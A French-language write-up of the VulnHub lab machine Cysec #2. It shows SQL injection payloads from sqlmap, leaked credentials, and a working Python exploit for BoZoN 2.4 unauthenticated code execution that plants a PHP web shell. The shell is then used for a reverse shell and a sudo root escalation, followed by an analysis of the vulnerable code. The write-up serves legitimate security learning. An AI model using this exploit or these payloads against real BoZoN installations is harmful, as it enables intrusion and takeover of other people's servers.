Accueil Solution du CTF Cysec #2 de VulnHub
Post
Annuler

Solution du CTF Cysec #2 de VulnHub

Le CTF Cysec #2 était très court par rapport à son prédécesseur et moins dans le style jeopardy.

Excès de zèle

On retrouve grosso modo les mêmes ports que sur le précédent CTF, sans la vulnérabilité d’énumération d’OpenSSH :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Nmap scan report for 192.168.56.229
Host is up (0.00039s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:8.2p1: 
|       CVE-2020-15778  6.8     https://vulners.com/cve/CVE-2020-15778
|       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3    6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3  *EXPLOIT*
|       10213DBE-F683-58BB-B6D3-353173626207    6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207  *EXPLOIT*
--- snip ---
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-enum: 
|_  /phpmyadmin/: phpMyAdmin
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: Apache/2.4.41 (Ubuntu)
| vulners: 
|   cpe:/a:apache:http_server:2.4.41: 
|       PACKETSTORM:171631      7.5     https://vulners.com/packetstorm/PACKETSTORM:171631      *EXPLOIT*
--- snip ---
|       CVE-2020-11993  4.3     https://vulners.com/cve/CVE-2020-11993
|_      1337DAY-ID-35422        4.3     https://vulners.com/zdt/1337DAY-ID-35422        *EXPLOIT*
3306/tcp  open  mysql   MySQL (unauthorized)
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000

Rapidement je vois du base64 dans la page d’index du site :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<style>
body {
        padding-top: 40px;
        padding-bottom: 40px;
        background-image: url(0_yPzTD7hZBRy-vMo-.jpg);
        background-repeat: no-repeat;
        background-attachment: fixed;
        background-position: center top;
  height: 100%;
  /*Zm9yIGZpcnN0IGZsYWcgY2hlY2sgL2NoYWxsZW5nZS9pbmRleC5waHAKZm9yIHNlY29uZCBmbGFnIGNoZWNrIC9FeG9saXQvaW5kZXgucGhw */
  /* Center and scale the image nicely */
  background-position: center;
  background-repeat: no-repeat;
  background-size: cover;
}
</style>
<body>
<h1> Welcome to CySec2 CTF</h1> 
</body>
</html>

Elle se décode comme ça :

for first flag check /challenge/index.php
for second flag check /Exolit/index.php

Je fouille dans le dossier challenge :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ feroxbuster -u http://192.168.56.229/challenge/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt -n -x php,html,txt,zip -S 279

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.229/challenge/
 🚀  Threads               │ 50
 📖  Wordlist              │ fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 💢  Size Filter           │ 279
 💲  Extensions            │ [php, html, txt, zip]
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
302        0l        0w        0c http://192.168.56.229/challenge/logout.php
301        9l       28w      323c http://192.168.56.229/challenge/js
301        9l       28w      323c http://192.168.56.229/challenge/db
200       30l       87w     1083c http://192.168.56.229/challenge/index.php
301        9l       28w      327c http://192.168.56.229/challenge/images
200       30l       87w     1083c http://192.168.56.229/challenge/
301        9l       28w      324c http://192.168.56.229/challenge/css
302       57l      187w     2541c http://192.168.56.229/challenge/welcome.php
302        0l        0w        0c http://192.168.56.229/challenge/session.php
[####################] - 2m    598005/598005  0s      found:9       errors:0      
[####################] - 2m    598005/598005  3854/s  http://192.168.56.229/challenge/

Le dossier db contient un fichier sql :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ grep -A5 INSERT security_challenge.sql 
INSERT INTO `challenge_clue` (`id`, `info`) VALUES
(1, 'flag{95728ce2159815f2e2a253c664b2493f}'),
(3, 'user=alex password=orJ;7~qdqH0kx@n'),
(4, 'use above username and password for the next level');

-- --------------------------------------------------------
--
INSERT INTO `offices` (`id`, `city`, `address`, `phone`) VALUES
(1, 'Stockholm', 'Birger Jarlsgatan 7, 4 tr', '+46 8-616 99 40'),
(2, 'Berlin', 'Friedrichstraße 68', '+49 173 329 6295'),
(3, 'Hamburg', 'Ferdinandstraße 35', '+49 403 07 39 810'),
(4, 'Helsinki', 'Arkadiankatu 23 C', '+358 (0)20 7705600'),
(5, 'London', '8 Ganton Street', '+44 7469 214 950'),
--
INSERT INTO `users` (`id`, `username`, `password`) VALUES
(1, 'UCAS-ADMIN', 'Welc0meT0NetlightEdgeC0nferenceInSt0ckh0lm!');

--
-- Indexes for dumped tables
--

Ajouté à ça on remarque que le script welcome.php provoque une redirection, mais retourne du contenu :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<h1>Welcome</h1>
<a href="logout.php"><button type="button" class="btn btn-primary">Log Out</button></a>
<h3>Search Office</h3> 
<form method="post" action="" class="form-search">
        <div class="row">
                <div class="col-xs-12 col-sm-6 col-md-4">
                        <div class="input-group">
                                <input type="text" class="form-control" name="search" id="searchInput" placeholder="City" autofocus>
                                <span class="input-group-btn">
                                        <input type="submit" name="submit" value="Search" class="btn btn-primary">
                                </span>
                        </div>
                </div>
        </div>
</form>

Le formulaire présent dans le code HTML est vulnérable à une faille d’injection SQL. On peut utiliser sqlmap pour l’exploiter :

1
python sqlmap.py -u http://192.168.56.229/challenge/welcome.php --data "search=test&submit=Search" --dbms mysql --risk 3 --level 5

Sans surprises la faille est vérifiée :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlmap identified the following injection point(s) with a total of 167 HTTP(s) requests:
---
Parameter: search (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: search=-1746' OR 7817=7817-- wctt&submit=Search

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=test' AND (SELECT 6431 FROM (SELECT(SLEEP(5)))KmBn)-- ljzb&submit=Search

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: search=test' UNION ALL SELECT NULL,CONCAT(0x717a766271,0x7a546e6f4d55617850725175756c6656545a58706371747865594742464a73556454494472427048,0x716a767071),NULL-- -&submit=Search
---

Les requêtes SQL sont exécutées avec le compte root. Je peux dumper le hash via l’option --passwords :

1
2
[*] root [1]:
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

Il se casse rapidement car il correspond au clair password.

Les plus attentifs auront remarqué au début que Nmap a détecté la présence d’un phpMyAdmin sur le serveur web du CTF. Je peux donc m’y connecter et fouiller la base.

Il s’avère qu’il n’y a rien de plus par rapport au fichier SQL.

BoZoN le ClOwNn

L’autre path qui était mentionné dans le base64 correspond à une installation de BoZoN.

Un exploit de RCE existe pour cette appli web :

BoZoN 2.4 - Remote Code Execution - PHP webapps Exploit

Voici la description donnée :

A Bozon vulnerability allows unauthenticated attackers to add arbitrary users and inject system commands to the "auto_restrict_users.php"
file of the Bozon web interface.

This issue results in arbitrary code execution on the affected host, attackers system commands will get written and stored to the PHP file
"auto_restrict_users.php" under the private/ directory of the Bozon application, making them persist. Remote attackers will get the command
responses from functions like phpinfo() as soon as the HTTP request has completed.

J’ai repris l’exploit et l’ai simplifié au maximum. C’est du Python 2 :

1
2
3
4
5
6
7
8
9
10
11
import urllib, urllib2, time

url = "http://192.168.56.229/Exolit/index.php"
CMD = '"];$PWN=''system($_GET[chr(99)]);//''//"'

data = urllib.urlencode({'creation' : '1', 'login' : CMD, 'pass' : 'abc123', 'confirm' : 'abc123', 'token' : ''})
req = urllib2.Request(url, data)
   
response = urllib2.urlopen(req)
time.sleep(0.5)
print response.read()

Une fois exécuté, on peut appeler notre web shell de cette façon :

1
http://192.168.56.229/Exolit/private/auto_restrict_users.php?c=uname%20-a

Ce qui me donne l’output suivant :

1
Linux cysec2 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Après avoir placé et exécuté reverse-ssh je trouve vite des informations utiles dans le système de fichiers :

1
2
3
4
5
www-data@cysec2:/var/www/html/Exolit/private$ cat /var/www/html/Exolit/flag.txt
This is Flag 2 , Congrats , you close to root 
username = cysec2 
password =  $^WAhuy457i6kj
Flag (60b40b7846a7afe973ce089f19068cffc53e40fe28cd076f937c644f6127aad6)

L’utilisateur peut facilement passer root via sudo. On a terminé :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@cysec2:/var/www/html/Exolit/private$ su cysec2
Password: 
cysec2@cysec2:/var/www/html/Exolit/private$ sudo -l
[sudo] password for cysec2: 
Matching Defaults entries for cysec2 on cysec2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User cysec2 may run the following commands on cysec2:
    (ALL : ALL) ALL
cysec2@cysec2:/var/www/html/Exolit/private$ sudo su
root@cysec2:/var/www/html/Exolit/private# id
uid=0(root) gid=0(root) groups=0(root)
root@cysec2:/var/www/html/Exolit/private# cd /root
root@cysec2:~# ls
Congrats.txt  snap
root@cysec2:~# cat Congrats.txt 
Congrats this is final flag {%#hYU5QU^JHQWi765W&WSaUYH%4etI^u}

Kékidi?

Petit coup de loupe sur cette vulnérabilité : avant l’exploitation, on a le fichier private/auto_restrict_users.php qui ressemble à ceci :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cysec2@cysec2:/var/www/html/Exolit/private$ cat auto_restrict_users.php
<?php

# user : useradd test
$auto_restrict["users"]["useradd test"]["login"]='useradd test';
$auto_restrict["users"]["useradd test"]["encryption_key"]='db25cb37601b3dbcbde9d60a1e3fa749';
$auto_restrict["users"]["useradd test"]["salt"] = 'Snad89hrIwa#KRP2ku0wOo_Aik>83G8MD+DOa+BBEyq8L6Ad#y1T+@e+Ia#%A>yDE5eSfV4m7ro+IZ@xAP9p63S82HmICFbx_KIWcPu@>2RgZeT|WB&LhhSupiz4f_2X0w-Z>OTF+KGC<r4ugeRf0Ai!Kr+VmC_1EUSwOGj-2@%Q@H_y1EzBxgwv_blP>pWVcCw0eJ2Z>iY1A1sP<h!@TFyshKLhfuNKC_n|PgA4Crfnj?x0rGM_XT6jQ4l3mEPO&FYa9IsTKzqA+Qx@X7-+t<fyJUfOYdm_ikK*B2!054_Run0+FKN?_m*iSVt1RI|x>ez%mKPOnYN7!wx4gOlY2c#KE_iv2nz|CVfFiyrMHml!@pZ6Jq2tx5HG%*5nv*grWNBHjRv|cAZd<LlD2T4tIP>A+o2Xdt8MbgtrH1r!9+@c1s0q7ts2z@Duz6_r4L6fc9A@NbH<<88RSNHH%eq7|BwGdc|761|7u1Knsyih?<4*NSXUvKJqmct6&|HUSd#3';
$auto_restrict["users"]["useradd test"]["pass"] = 'f5c8973bfbaa094c64b1989bebd2a27d2143bfc7e6c70da4f4ce5b17506ecb129bc11af7d7943bb8828659970c5de36a5fead2066ff9bfbe99064c042a3fe143';
$auto_restrict["users"]["useradd test"]["status"]='superadmin';
$auto_restrict["users"]["useradd test"]["lang"]='en';

# user : ls
$auto_restrict["users"]["ls"]["login"]='ls';
$auto_restrict["users"]["ls"]["encryption_key"]='c454056645686557768078f2931f91f1';
$auto_restrict["users"]["ls"]["salt"] = '&KmvOcS>G7XL0OamcsB5hcUpi__poVWpij075*-W*w7-&O#t>z9rCvQ@edAmOpty@*pH7b8!9ke-yyNuvejQ8BqUf@qp9U!6P62465CbpGf+a!@6f%WhokMo-#|b+FW7O8GN--3HbpuNSz5cFc|G<@NtjqX1H>|MIAgB4%w4bc+nwuLf<PWv9d#?KP<-jyL?BqCtnk-0pH+Wvxt1!0B4S#&hKQZp3vOHzrSj4TuV0bdy9Fc>>spAy&hL-3AdUh9_b0-uzdMA@rYdq#1HJ8!aaSaYWWJepWkMjnN1EcS5aORl*PgYE&mPcb9N-ZaaRAYIEVBr0zFNReXdCy+uHVoqT-eykVi+#c0Zybh7>kJ<UXy#9oa48gj!6h<f+urBQqMfw4Js?S2dU<m1SYQ8yGqy1%CXxm>L?F-iQs_BcPzgcyt|AzW5YZTMCE2ir0HaGPbKvON5NwUs*!Z@t_bw<q5b9ThM<J29a+-x?HBCLF@nCSQRtczY1cEIzMsz@6xDxzGb';
$auto_restrict["users"]["ls"]["pass"] = 'cac98fc2d3388609edbbb4e89ebde68c546e2586011b5888e17f12c8992319424511ca0b2e0e3b191b1b1a20759431db4b443416fa45475f0da7370872837f22';
$auto_restrict["users"]["ls"]["status"]='user';
$auto_restrict["users"]["ls"]["lang"]='en';

?>

Après exploitation il a les lignes supplémentaires suivantes :

1
2
3
4
5
6
7
# user : "];$PWN=system($_GET[chr(99)]);////"
$auto_restrict["users"][""];$PWN=system($_GET[chr(99)]);////""]["login"]='"];$PWN=system($_GET[chr(99)]);////"';
$auto_restrict["users"][""];$PWN=system($_GET[chr(99)]);////""]["encryption_key"]='ed51dbd310179926cec142cf9cd0db85';
$auto_restrict["users"][""];$PWN=system($_GET[chr(99)]);////""]["salt"] = 'n?paz0Lnq8d3o74Uwms&ZR%pFwRCXKGa!g4-IusuOlm3TCgx>1BRzju+b%!dw2NSOssFs-#?RMDjk<sRIrl2fdiQ|wcy<1nhT2AojlAkHq11@?F2Ir2bhOJPbzUYoiCrqdNJz&ys>IWWUnT6B<rOg5Nxiqz#e&>s&+xl-wckMTonDeaMSeCz_N8MJCH#M|J45gQ9y+y%sYtSYHk8utP3iChOU1qw+OAUN#w?>lZ6Jt_P#|&+CdtGW>nMOATNBcnwEe&Zb51YH!m+v<7cVQbyWcLN_-nCfs88fyTry*pIThl4Bji566@kMDtC&NTNU4d-xgziXc7jgQSO59M#w_KkGY0L_W7oe#_ozCuX_@!C6|nVS6V6rp#PcHA3Ins1V9WM2Z|L!Kz?7q7#5zr4kxdOXZs|xV<5P#Zou3<!kacSr*vG%Pj2w|@ha-u*GC0#%Wjvs*-xL>tqyR3Sx<W|onh&9EEUNs|JpP7M50bFZkSad|yvhyRm&2clLgabEtdubpCv';
$auto_restrict["users"][""];$PWN=system($_GET[chr(99)]);////""]["pass"] = 'fe30b2b96b3055066bdbbadcbd1d3b1c966f7ae676de68cf5cde830cd7176f2b7ba7a21ef439f46358d5a5a56e2a429c2c8ec7a1418b011d2933a3c887d0c1b2';
$auto_restrict["users"][""];$PWN=system($_GET[chr(99)]);////""]["status"]='';
$auto_restrict["users"][""];$PWN=system($_GET[chr(99)]);////""]["lang"]='en'

Donc l’entrée servant de nom d’utilisateur est injectée, fermant quelques éléments de la syntaxe PHP puis insèrant du code.

L’origine de l’écriture et du formatage est dans la fonction save_users de la webapp :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function save_users(){
        global $auto_restrict;
        $ret="\n";$data='<?php'.$ret;
        if (!isset($auto_restrict['users'])){return false;}
        foreach ($auto_restrict['users'] as $key=>$user){
                $data.= $ret.'# user : '.$user['login'].$ret
                                .'$auto_restrict["users"]["'.$user['login'].'"]["login"]='.var_export($user['login'],true).';'.$ret
                                .'$auto_restrict["users"]["'.$user['login'].'"]["encryption_key"]='.var_export($user['encryption_key'],true).';'.$ret
                                .'$auto_restrict["users"]["'.$user['login'].'"]["salt"] = '.var_export($user['salt'],true).';'.$ret
                                .'$auto_restrict["users"]["'.$user['login'].'"]["pass"] = '.var_export($user['pass'],true).';'.$ret
                                .'$auto_restrict["users"]["'.$user['login'].'"]["status"]='.var_export($user['status'],true).';'.$ret
                                .'$auto_restrict["users"]["'.$user['login'].'"]["lang"]='.var_export($user['lang'],true).';'.$ret;
        }

        $data.=$ret.'?>';
        $r=file_put_contents($auto_restrict['path_to_files'].'/auto_restrict_users.php', $data);
        if (!$r){return false;}else{return $auto_restrict['users'];}
}

Elle-même appelée dans le cas de la création d’un nouvel utilisateur :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# ------------------------------------------------------------------                                                   
# New user request: add it, save and return to login page                                                              
# ------------------------------------------------------------------                                                   
if(!empty($_POST['pass'])&&!empty($_POST['confirm'])&&isset($_POST['creation'])&&!empty($_POST['login'])&&empty($_POST['admin_password'])){
        if (!isset($auto_restrict['users'])){$auto_restrict['users']=array();}                                         
        $index=count($auto_restrict['users']);                                                                         
        $login=strip_tags($_POST['login']);                                                                            
        if (login_exists($login)){safe_redirect('index.php?p=login&newuser&error=1&token='.returnToken());}            
        if ($_POST['pass']!=$_POST['confirm']){safe_redirect('index.php?p=login&newuser&error=3&token='.returnToken());}
        $auto_restrict['users'][$index]['login'] = $login;                                                             
        $auto_restrict['users'][$index]['encryption_key'] = md5(uniqid('', true));                                     
        $auto_restrict['users'][$index]['salt'] = generate_salt(512);                                                  
        $auto_restrict['users'][$index]['lang'] = conf('language');                                                    
        $auto_restrict['users'][$index]['status'] = '';                                                                
        $auto_restrict['users'][$index]['pass'] = hash('sha512', $auto_restrict['users'][$index]['salt'].$_POST['pass']);
                                                                                                                       
        if (!save_users()){exit('<div class="error">auto_restrict: problem saving users</div>');}                      
        safe_redirect('index.php?p=admin&msg='.e('Account created:',false).$login.'&token='.returnToken());            
        exit;                                                                                                          
}

De toute évidence, la session de l’utilisateur courant n’est pas validée avant de faire les opérations.

Je n’ai pas déterminé pourquoi l’exploit fonctionne en passant les paramètres via GET alors que POST semble attendu.

Dans tous les cas l’exploit requiert de ne pas se rater sur l’injection sans quoi la webapp devient inutilisable.

Cet article est sous licence CC BY 4.0 par l'auteur.